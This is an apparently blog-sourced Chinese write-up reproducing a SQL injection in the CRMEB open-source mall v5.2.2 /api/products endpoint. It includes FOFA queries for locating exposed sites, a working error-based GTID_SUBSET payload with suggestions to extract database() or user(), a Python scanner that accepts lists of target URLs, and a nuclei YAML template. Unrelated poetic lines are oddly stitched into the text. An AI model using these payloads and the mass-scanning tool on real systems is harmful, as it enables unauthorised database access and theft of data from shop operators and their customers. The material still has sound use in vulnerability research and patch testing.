声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
漏洞描述
CRMEB开源商城系统是一款全开源可商用的系统,它支持前后端分离开发,并且100%开源,适用于小程序、公众号、H5、APP、PC端等多种平台。其v5.2.2
版本存在sql注入漏洞,允许远程攻击者通过 ProductController.php
文件中的 getProductList
函数获取敏感信息。
漏洞复现
1)信息收集
fofa:icon_hash="-847565074"
fofa:body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB"
黄昏时的天略带有妩媚。
2)构造数据包
GET /api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(666)))),0x7e),3550)+ HTTP/1.1
Host: ip
代码解释:
GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(666)))),0x7e),3550)+
这个payload是一个SQL注入攻击,试图利用SQL语句的漏洞来执行恶意操作。下面是对这个payload的逐部分解释:
GTID_SUBSET
: 这是一个MySQL函数,通常用于复制环境中,用于确定一个事务ID集合是否是另一个集合的子集。CONCAT
: 这是一个MySQL函数,用于将多个字符串值连接成一个字符串。(0x7e,(SELECT+(ELT(3550=3550,md5(666)))),0x7e)
: 这部分是CONCAT
函数的参数,它试图构造一个特定的字符串。0x7e
是十六进制值,代表字符’~'。SELECT
关键字后面跟着一个条件表达式,ELT
是一个一元运算符,它根据提供的索引返回一个值。md5(666)
是一个MD5散列函数调用,计算数字666的MD5值。3550=3550
: 这是一个条件表达式,总是为真。(SELECT+(ELT(3550=3550,md5(666))))
: 这里SELECT
关键字被用作一个条件表达式,ELT(1, ...)
将返回md5(666)
的结果,因为ELT
的第一个参数是索引,而3550=3550
始终为真,所以索引是1。3550)
: 这是GTID_SUBSET
函数的第二个参数,是一个事务ID。+
: 这个加号是SQL注入攻击的一部分,被用来连接其他SQL语句。
回显包含666的md5值,漏洞存在。
可将md5(666)替换为database()、user()、sleep()等测试语句。
切记!不要做任何违反法律的事情!!!!
测试工具
python-poc:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 导入所需的库
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning
# 定义终端输出颜色
RED = '\033[91m'
RESET = '\033[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 定义函数,用于检查URL是否存在特定的SQL注入漏洞
def check_vulnerability(url):
try:
# 构造用于检测的URL,添加了特定的SQL注入测试代码
attack_url = url.rstrip('/') + "/api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,sleep(3)))),0x7e),3550)+"
# 记录请求开始时间
start_time = time.time()
# 发送GET请求到攻击URL,不验证SSL证书,设置超时时间
response = requests.get(attack_url, verify=False, timeout=10)
# 计算请求完成所需的时间
elapsed_time = time.time() - start_time
# 如果请求时间在3到8秒之间,且状态码为200,认为存在漏洞
if 3 < elapsed_time < 8 and response.status_code == 200:
print(f"{RED}URL [{url}] 可能存在CRMEB开源商城v5.2.2 sql注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
# 捕获请求超时异常
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
# 捕获其他请求异常
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
# 主函数,解析命令行参数并执行检测
def main():
# 创建参数解析器,用于解析命令行输入
parser = argparse.ArgumentParser(description='检测目标地址是否存在CRMEB开源商城v5.2.2 sql注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
# 解析命令行参数
args = parser.parse_args()
# 如果提供了URL参数,检查该URL
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
# 如果提供了文件参数,逐行检查文件中的URL
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
# 程序入口点
if __name__ == '__main__':
main()
运行过程:
yaml-poc:
id: crmeb-products-sql
info:
name: CRMEB v.5.2.2版本存在安全漏洞,该漏洞源于存在SQL注入漏洞
author: xxx
severity: high
description: CRMEB v.5.2.2版本存在安全漏洞,该漏洞源于存在SQL注入漏洞
variables:
today: '{{date_time("%Y%M%D")}}'
http:
- raw:
- |
GET /api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(666)))),0x7e),3550) HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"fae0b27c451c728867a567e8c1bb4e53")
运行截图:
那双紧握不放的手…抓住的是希望…亦或是绝望…